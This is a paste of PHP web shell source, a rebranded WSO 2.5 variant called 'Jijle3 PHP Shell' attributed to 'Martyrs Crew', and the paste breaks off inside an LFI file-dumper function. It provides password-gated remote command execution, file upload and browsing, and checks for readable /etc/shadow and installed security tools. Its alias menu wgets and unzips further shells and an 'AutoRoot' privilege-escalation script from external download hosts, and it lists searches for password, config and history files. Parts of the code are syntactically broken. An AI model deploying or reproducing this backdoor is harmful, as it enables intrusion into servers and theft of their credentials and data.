· 8 years ago · Jul 25, 2018, 10:12 AM
1//decoded by mathio.dz
2echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
3 <style type='text/css'>
4 input[type=submit], input[type=button], input[type=reset]{
5 text-align:center;
6 background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
7 border:1px solid #4D4D4D;
8 color:#CCCCCC;
9 border-top-color:#565656;
10 padding:4px 6px;
11 margin:4px 5px;
12 height:16px;
13 -moz-box-shadow:0 0 1px black;
14 -webkit-box-shadow:0 0 1px black;
15 box-shadow:0 0 1px black;
16 text-shadow:0 1px black;
17 -moz-border-radius:4px;
18 -webkit-border-radius:4px;
19 -khtml-border-radius:4px;
20 border-radius:4px;
21 height:23px;
22}
23input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
24 background-position:center top;
25 text-decoration:none;
26}
27input[type=text], input[type=password]{
28 background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
29 border:1px solid #4D4D4D;
30 color:#CCCCCC;
31 border-top-color:#565656;
32 -moz-box-shadow:0 0 1px black;
33 -webkit-box-shadow:0 0 1px black;
34 box-shadow:0 0 1px black;
35 -moz-border-radius:4px;
36 -webkit-border-radius:4px;
37 -khtml-border-radius:4px;
38 border-radius:4px;
39 height:18px;
40 margin-left: 5px;
41}
42input , textarea , button , body , caption , table ,area , option {
43 outline:none;
44 transition: all 0.20s ease-in-out;
45 -webkit-transition: all 0.25s ease-in-out;
46 -moz-transition: all 0.25s ease-in-out;
47 border-radius:3px;
48 -webkit-border-radius:3px;
49 -moz-border-radius:3px;
50 border:1px solid rgba(0,0,0, 0.2);
51
52}
53input , textarea {
54 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
55}
56input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
57 box-shadow: 0 0 5px rgba(0, 0, 255, 1);
58 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
59 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
60 border: 1px solid #CCCC00;
61 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
62 overflow: auto;
63
64}
65body{
66
67 color : #f9f6f1;
68 font-size : 0.7em;
69 background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
70}
71input , textarea {
72 outline:none;
73 transition: all 0.20s ease-in-out;
74 -webkit-transition: all 0.25s ease-in-out;
75 -moz-transition: all 0.25s ease-in-out;
76 border-radius:3px;
77 -webkit-border-radius:3px;
78 -moz-border-radius:3px;
79 border:1px solid rgba(0,0,0, 0.2);
80}
81input:focus, textarea:focus {
82 outline: 0;
83 border-color: rgba(82, 168, 236, 0.8);
84 -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
85 -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
86 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
87 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
88 overflow: auto;
89}
90 </style>
91 ";
92# jijle3 login
93#$auth_pass = md5('Jijle3');
94#$color = "#df5";
95#$default_action = 'Home';
96#$default_use_ajax = true;
97#$default_charset = 'Windows-1251';
98
99#if(!empty($_SERVER['HTTP_USER_AGENT'])) {
100 # $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
101 #if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
102 # header('HTTP/1.0 404 Not Found');
103 # exit;
104 # }
105#}
106
107@ini_set('error_log',NULL);
108@ini_set('log_errors',0);
109@ini_set('max_execution_time',0);
110@set_time_limit(0);
111@set_magic_quotes_runtime(0);
112@define('WSO_VERSION', '2.5');
113
114if(get_magic_quotes_gpc()) {
115 function WSOstripslashes($array) {
116 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
117 }
118 $_POST = WSOstripslashes($_POST);
119 $_COOKIE = WSOstripslashes($_COOKIE);
120}
121
122function wsoLogin() {
123 die("<center><span>Password : </span><input type=password name=pass><input type=submit value='Enter'></form></pre>");
124}
125function WSOsetcookie($k, $v) {
126 $_COOKIE[$k] = $v;
127 setcookie($k, $v);
128}
129
130if(!empty($auth_pass)) {
131 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
132 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
133
134 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
135 wsoLogin();
136}
137
138if(strtolower(substr(PHP_OS,0,3)) == "win")
139 $os = 'win';
140else
141 $os = 'nix';
142
143$safe_mode = @ini_get('safe_mode');
144if(!$safe_mode)
145 error_reporting(0);
146
147$disable_functions = @ini_get('disable_functions');
148$home_cwd = @getcwd();
149if(isset($_POST['c']))
150 @chdir($_POST['c']);
151$cwd = @getcwd();
152if($os == 'win') {
153 $home_cwd = str_replace("\\", "/", $home_cwd);
154 $cwd = str_replace("\\", "/", $cwd);
155}
156if($cwd[strlen($cwd)-1] != '/')
157 $cwd .= '/';
158
159if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
160 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
161
162if($os == 'win')
163 $aliases = array(
164 "List Directory" => "dir",
165 "Find index.php in current dir" => "dir /s /w /b index.php",
166 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
167 "Show active connections" => "netstat -an",
168 "Show running services" => "net start",
169 "User accounts" => "net user",
170 "Show computers" => "net view",
171 "ARP Table" => "arp -a",
172 "IP Configuration" => "ipconfig /all"
173 );
174else
175 $aliases = array(
176 "List dir" => "ls -lha",
177 "list file attributes on a Linux second extended file system" => "lsattr -va",
178 "show opened ports" => "netstat -an | grep -i listen",
179 "process status" => "ps aux",
180 "Jijle3 : Get Nother Shells"=>"",
181 "Dhanush Shell | pass:Jijle3"=>"wget http://download1582.mediafire.com/9jtscxv4qdzg/7zq2q32v02kz59j/dhanush.php.zip ; unzip dhanush.php.zip",
182 "K2ll33d Shell "=>"wget http://download1643.mediafire.com/iq7073edn7pg/3vqec9bm5krrdrj/kil223dd.php.zip ; unzip kil223dd.php.zip",
183 "1n73ction Shell | pass:1n73ction "=>"wget http://download1512.mediafire.com/m8hgk0nnrupg/954ho11nt2b48w8/1n73ction.php.zip ; unzip 1n73ction.php.zip",
184 "Cyber Shell | pass:Jijle3"=>"wget http://download1512.mediafire.com/phidtd82s8vg/q6qx0xhcd1efzd5/cyb3.php.zip ; unzip cyb3.php.zip",
185 "Jijle3 : Some Commonds"=>"",
186 "Logged in users"=>"w",
187 "Last to connect"=>"lastlog",
188 "IP Addresses"=>"cat /etc/hosts",
189 "Check MMAP"=>"cat /proc/sys/vm/mmap_min_addr",
190 "USER WITHOUT PASSWORD!"=>"cut -d: -f1,2,3 /etc/passwd | grep ::",
191 "List of Cpanel`s domains(valiases)"=>"ls -l /etc/valiases",
192 "Downloaders?)"=>"which wget curl w3m lynx",
193 "Show running proccess"=>"ps aux",
194 "Memory check"=>"cat /proc/meminfo",
195 "Get cpanel logs"=>"cat /var/cpanel/accounting.log",
196 "Jijle3 : Auto Root Commonds"=>"",
197 "First ! : GET Auto Root File [ Perl ]"=>"wget http://download944.mediafire.com/5fi1yfk5ttcg/u4seoaw7ze1dio0/phdz.pl.zip ; unzip phdz.pl.zip ; ./phdz.pl",
198 "AutoRoot [ Linux ]"=>"perl phdz.pl linux",
199 "AutoRoot [ FreeBSD ]"=>"perl phdz.pl bsd",
200 "AutoRoot [ SunOS ]"=>"perl phdz.pl sunos",
201 "Find" => "",
202 "find all suid files" => "find / -type f -perm -04000 -ls",
203 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
204 "find all sgid files" => "find / -type f -perm -02000 -ls",
205 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
206 "find config.inc.php files" => "find / -type f -name config.inc.php",
207 "find config* files" => "find / -type f -name \"config*\"",
208 "find config* files in current dir" => "find . -type f -name \"config*\"",
209 "find all writable folders and files" => "find / -perm -2 -ls",
210 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
211 "find all service.pwd files" => "find / -type f -name service.pwd",
212 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
213 "find all .htpasswd files" => "find / -type f -name .htpasswd",
214 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
215 "find all .bash_history files" => "find / -type f -name .bash_history",
216 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
217 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
218 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
219 "Locate" => "",
220 "locate httpd.conf files" => "locate httpd.conf",
221 "locate vhosts.conf files" => "locate vhosts.conf",
222 "locate proftpd.conf files" => "locate proftpd.conf",
223 "locate psybnc.conf files" => "locate psybnc.conf",
224 "locate my.conf files" => "locate my.conf",
225 "locate admin.php files" =>"locate admin.php",
226 "locate cfg.php files" => "locate cfg.php",
227 "locate conf.php files" => "locate conf.php",
228 "locate config.dat files" => "locate config.dat",
229 "locate config.php files" => "locate config.php",
230 "locate config.inc files" => "locate config.inc",
231 "locate config.inc.php" => "locate config.inc.php",
232 "locate config.default.php files" => "locate config.default.php",
233 "locate config* files " => "locate config",
234 "locate .conf files"=>"locate '.conf'",
235 "locate .pwd files" => "locate '.pwd'",
236 "locate .sql files" => "locate '.sql'",
237 "locate .htpasswd files" => "locate '.htpasswd'",
238 "locate .bash_history files" => "locate '.bash_history'",
239 "locate .mysql_history files" => "locate '.mysql_history'",
240 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
241 "locate backup files" => "locate backup",
242 "locate dump files" => "locate dump",
243 "locate priv files" => "locate priv"
244 );
245
246function wsoHeader() {
247 if(empty($_POST['charset']))
248 $_POST['charset'] = $GLOBALS['default_charset'];
249 global $color;
250 if(!$color) $color = '#df5';
251 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " | Jijle3 [PHDZ]</title>
252<style>
253body{background-color:#444;color:#e1e1e1;}
254body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
255table.info{ color:#fff;background-color:#222; }
256span,h1,a{ color: $color !important; }
257span{ font-weight: bolder; }
258h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
259div.content{ padding: 5px;margin-left:5px;background-color:#333; }
260a{ text-decoration:none; }
261a:hover{ text-decoration:underline; }
262.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
263.bigarea{ width:100%;height:250px; }
264input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
265form{ margin:0px; }
266#toolsTbl{ text-align:center; }
267.toolsInp{ width: 300px }
268.main th{text-align:left;background-color:#5e5e5e;}
269.main tr:hover{background-color:#5e5e5e}
270.l1{background-color:#444}
271pre{font-family:Courier,Monospace;}
272</style>
273<script>
274 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
275 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
276 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
277 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
278 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
279 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
280 var d = document;
281 function set(a,c,p1,p2,p3,charset) {
282 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
283 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
284 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
285 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
286 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
287 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
288 }
289 function g(a,c,p1,p2,p3,charset) {
290 set(a,c,p1,p2,p3,charset);
291 d.mf.submit();
292 }
293 function a(a,c,p1,p2,p3,charset) {
294 set(a,c,p1,p2,p3,charset);
295 var params = 'ajax=true';
296 for(i=0;i<d.mf.elements.length;i++)
297 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
298 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
299 }
300 function sr(url, params) {
301 if (window.XMLHttpRequest)
302 req = new XMLHttpRequest();
303 else if (window.ActiveXObject)
304 req = new ActiveXObject('Microsoft.XMLHTTP');
305 if (req) {
306 req.onreadystatechange = processReqChange;
307 req.open('POST', url, true);
308 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
309 req.send(params);
310 }
311 }
312 function processReqChange() {
313 if( (req.readyState == 4) )
314 if(req.status == 200) {
315 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
316 var arr=reg.exec(req.responseText);
317 eval(arr[2].substr(0, arr[1]));
318 } else alert('Request error!');
319 }
320
321</script>
322<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
323<form method=post name=mf style='display:none;'>
324<input type=hidden name=a>
325<input type=hidden name=c>
326<input type=hidden name=p1>
327<input type=hidden name=p2>
328<input type=hidden name=p3>
329<input type=hidden name=charset>
330</form>";
331 $freeSpace = @diskfreespace($GLOBALS['cwd']);
332 $totalSpace = @disk_total_space($GLOBALS['cwd']);
333 $totalSpace = $totalSpace?$totalSpace:1;
334 $release = @php_uname('r');
335 $kernel = @php_uname('s');
336 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
337 if(strpos('Linux', $kernel) !== false)
338 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
339 else
340 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
341 if(!function_exists('posix_getegid')) {
342 $user = @get_current_user();
343 $uid = @getmyuid();
344 $gid = @getmygid();
345 $group = "?";
346 } else {
347 $uid = @posix_getpwuid(posix_geteuid());
348 $gid = @posix_getgrgid(posix_getegid());
349 $user = $uid['name'];
350 $uid = $uid['uid'];
351 $group = $gid['name'];
352 $gid = $gid['gid'];
353 }
354
355 $cwd_links = '';
356 $path = explode("/", $GLOBALS['cwd']);
357 $n=count($path);
358 for($i=0; $i<$n-1; $i++) {
359 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
360 for($j=0; $j<=$i; $j++)
361 $cwd_links .= $path[$j].'/';
362 $cwd_links .= "\")'>".$path[$i]."/</a>";
363 }
364
365 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
366 $opt_charsets = '';
367 foreach($charsets as $item)
368 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
369
370 $m = array('Home'=>'home','Sec Info'=>'SecInfo','Exec'=>'Console','Sql'=>'Sql','Baypass'=>'bypss','Forums'=>'forum','Symlink'=>'symlinker','Domain'=>'domains','Tools'=>'tools','Cgi'=>'cgi','String'=>'StringTools','Network'=>'Network','About'=>'about' );
371 if(!empty($GLOBALS['auth_pass']))
372 $m['Logout'] = 'Logout';
373 $m['Suicide'] = 'SelfRemove';
374 $menu = '';
375
376 foreach($m as $k => $v)
377 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
378 $drives = "";
379 if($GLOBALS['os'] == 'win') {
380 foreach(range('c','z') as $drive)
381 if(is_dir($drive.':\\'))
382 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
383 }
384 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td><td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="http://www.exploit-db.com/search/?action=search&filter_description='.urlencode(@php_uname()).'" target="_blank">[ Exploit-db ]</a> <a href="http://www.1337day.com/search" target="_blank">[ 1337day ]</a> <a href="http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q='.urlencode(@php_uname()).'" target="_blank">[ ExploitSearch ]</a> <a href="http://www.shodanhq.com/exploits?q='.urlencode(@php_uname()).'" target="_blank">[ Shodanhq ]</a> </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' ) <span>Locals Pack :</span><a href="http://rghost.net/6YYsd7ynN" target="_blank"> [ Download ]</a></b> <br>' . @phpversion() . '<span>Safe mode:</span> '
385 . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font> ' )
386 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ File Manager ]</a><br><br>' . $drives . '</td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Your IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr><br>
387</td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
388}
389
390
391function wsoFooter() {
392 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
393 echo "
394</div>
395<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
396 <tr>
397 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
398 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
399 </tr><tr>
400 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
401 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
402 </tr><tr>
403 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
404 <td><form method='post' ENCTYPE='multipart/form-data'>
405 <input type=hidden name=a value='FilesMAn'>
406 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
407 <input type=hidden name=p1 value='uploadFile'>
408 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
409 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
410 </tr></table></div></body></html>";
411}
412
413if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
414 function posix_getpwuid($p) {return false;} }
415if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
416 function posix_getgrgid($p) {return false;} }
417
418function wsoEx($in) {
419 $out = '';
420 if (function_exists('exec')) {
421 @exec($in,$out);
422 $out = @join("\n",$out);
423 } elseif (function_exists('passthru')) {
424 ob_start();
425 @passthru($in);
426 $out = ob_get_clean();
427 } elseif (function_exists('system')) {
428 ob_start();
429 @system($in);
430 $out = ob_get_clean();
431 } elseif (function_exists('shell_exec')) {
432 $out = shell_exec($in);
433 } elseif (is_resource($f = @popen($in,"r"))) {
434 $out = "";
435 while(!@feof($f))
436 $out .= fread($f,1024);
437 pclose($f);
438 }
439 return $out;
440}
441
442function wsoViewSize($s) {
443 if($s >= 1073741824)
444 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
445 elseif($s >= 1048576)
446 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
447 elseif($s >= 1024)
448 return sprintf('%1.2f', $s / 1024 ) . ' KB';
449 else
450 return $s . ' B';
451}
452
453function wsoPerms($p) {
454 if (($p & 0xC000) == 0xC000)$i = 's';
455 elseif (($p & 0xA000) == 0xA000)$i = 'l';
456 elseif (($p & 0x8000) == 0x8000)$i = '-';
457 elseif (($p & 0x6000) == 0x6000)$i = 'b';
458 elseif (($p & 0x4000) == 0x4000)$i = 'd';
459 elseif (($p & 0x2000) == 0x2000)$i = 'c';
460 elseif (($p & 0x1000) == 0x1000)$i = 'p';
461 else $i = 'u';
462 $i .= (($p & 0x0100) ? 'r' : '-');
463 $i .= (($p & 0x0080) ? 'w' : '-');
464 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
465 $i .= (($p & 0x0020) ? 'r' : '-');
466 $i .= (($p & 0x0010) ? 'w' : '-');
467 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
468 $i .= (($p & 0x0004) ? 'r' : '-');
469 $i .= (($p & 0x0002) ? 'w' : '-');
470 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
471 return $i;
472}
473
474function wsoPermsColor($f) {
475 if (!@is_readable($f))
476 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
477 elseif (!@is_writable($f))
478 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
479 else
480 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
481}
482
483function wsoScandir($dir) {
484 if(function_exists("scandir")) {
485 return scandir($dir);
486 } else {
487 $dh = opendir($dir);
488 while (false !== ($filename = readdir($dh)))
489 $files[] = $filename;
490 return $files;
491 }
492}
493
494function wsoWhich($p) {
495 $path = wsoEx('which ' . $p);
496 if(!empty($path))
497 return $path;
498 return false;
499}
500
501function actionSecInfo() {
502 wsoHeader();
503//Sec info
504echo '<h1>Server Security Info</h1><div class=content>';
505</div>
506</center>
507function wsoSecParam($n, $v) {
508 $v = trim($v);
509 if($v) {
510 echo '<span>' . $n . ': </span>';
511 if(strpos($v, "\n") === false)
512 echo $v . '<br>';
513 else
514 echo '<pre class=ml1>' . $v . '</pre>';
515 }
516 }
517
518 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
519 if(function_exists('apache_get_modules'))
520 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
521 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
522 wsoSecParam('Open base dir', @ini_get('open_basedir'));
523 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
524 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
525 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
526 $temp=array();
527 if(function_exists('mysql_get_client_info'))
528 $temp[] = "MySql (".mysql_get_client_info().")";
529 if(function_exists('mssql_connect'))
530 $temp[] = "MSSQL";
531 if(function_exists('pg_connect'))
532 $temp[] = "PostgreSQL";
533 if(function_exists('oci_connect'))
534 $temp[] = "Oracle";
535 wsoSecParam('Supported databases', implode(', ', $temp));
536 echo '<br>';
537
538 if($GLOBALS['os'] == 'nix') {
539 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
540 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
541 wsoSecParam('OS version', @file_get_contents('/proc/version'));
542 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
543 if(!$GLOBALS['safe_mode']) {
544 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
545 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
546 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
547 echo '<br>';
548 $temp=array();
549 foreach ($userful as $item)
550 if(wsoWhich($item))
551 $temp[] = $item;
552 wsoSecParam('Userful', implode(', ',$temp));
553 $temp=array();
554 foreach ($danger as $item)
555 if(wsoWhich($item))
556 $temp[] = $item;
557 wsoSecParam('Danger', implode(', ',$temp));
558 $temp=array();
559 foreach ($downloaders as $item)
560 if(wsoWhich($item))
561 $temp[] = $item;
562 wsoSecParam('Downloaders', implode(', ',$temp));
563 echo '<br/>';
564 wsoSecParam('HDD space', wsoEx('df -h'));
565 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
566 }
567 } else {
568 wsoSecParam('OS Version',wsoEx('ver'));
569 wsoSecParam('Account Settings',wsoEx('net accounts'));
570 wsoSecParam('User Accounts',wsoEx('net user'));
571 }
572 echo '</div>';
573 wsoFooter();
574}
575################# Home #################
576function actionhome() {
577wsoHeader();
578//Home
579echo'
580<center>
581<h1>[ Salam ♥ Alaykoum ]</h1>
582<br /><br />
583</form>
584';<head>
585<body bgcolor="Black"><table width=100% height=100%><td align="center">
586<img src="http://www5.0zz0.com/2014/11/29/18/934285237.png" height="150" title="Martyrs Crew 2015 " width="478" ></img></img><p>
587</img></img><p>
588<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#df5" face="Adobe Heiti Std R">
589Jijle3 PHP Shell v 0.1.8</font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p>
590<span>[ Say Hamd Li ' Allah ♥ ] </span>
591<p>
592
593<img src="http://im48.gulfup.com/jIm93E.png" height="92" title="Martyrs Crew Index Logo 2014 " width="178" ></p>
594<p>
595<pre>
596<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&width&height=62&colorscheme=light&show_faces=false&header=true&stream=false&show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre>
597<p>
598echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
599echo '</center><br>';
600echo "<br><br><center><b><font face='Tahoma' name=sip color='white' size='2pt'>Jijle3 PHP Web Shell V 0.1.8 (c) Phenomene Dz [ Martyrs Crew ] 2015</font></b></td><font face='Tahoma' color='WHITE' size='2pt' />";
601echo " <b><a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing.com
602 </a></b> - <b><a href='http://zone-h.com/archive/ip=".$serverIP."
603' target=\"_blank\">Zone-H.org</a> -  <a href='http://www.yougetsignal.com/tools/web-sites-on-web-server/
604' target=\"_blank\">Yougetsignal.com</a>
605 - <b><a href='http://toolbar.netcraft.com/site_report?url=https://" . $_SERVER['HTTP_HOST'] . "&go=&form=QBLH&filt=all' target=\"_blank\">NetCraft.com
606 </a></b> - <b><a href='https://pentest-tools.com/
607' target=\"_blank\">Pentest-Tools.com</a>
608</b></center><br>";
609wsoFooter();}
610################# End Home #################
611function actionlfiscan() {
612 wsoHeader();
613 print '
614 <h3>Led-Zeppelin\'s LFI File dumper</h3>
615
616 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
617 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
618 <option value="1">
619 Access Log
620 </option>
621
622 <option value="2">
623 httpd.conf
624 </option>
625
626 <option value="3">
627 Error Log
628 </option>
629 <option value="4">
630 php.ini
631 </option>
632 <option value="5">
633 MySQL
634 </option>
635 <option value="6">
636 FTP
637 </option>
638 <option value="7">
639 Environ
640 </option>
641 </select> Null: <select name="null">
642 <option value="%00">
643 Yes
644 </option>
645
646 <option value="">
647 No
648 </option>
649 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
650 </form>';
651 error_reporting(0);
652 if($_POST['lfiurl']) {
653 print "<pre>";
654 $cheader = $_POST['custom_header'];
655 $target = $_POST['lfiurl'];
656 $type = $_POST['scantype'];
657 $byte1 = $_POST['null'];
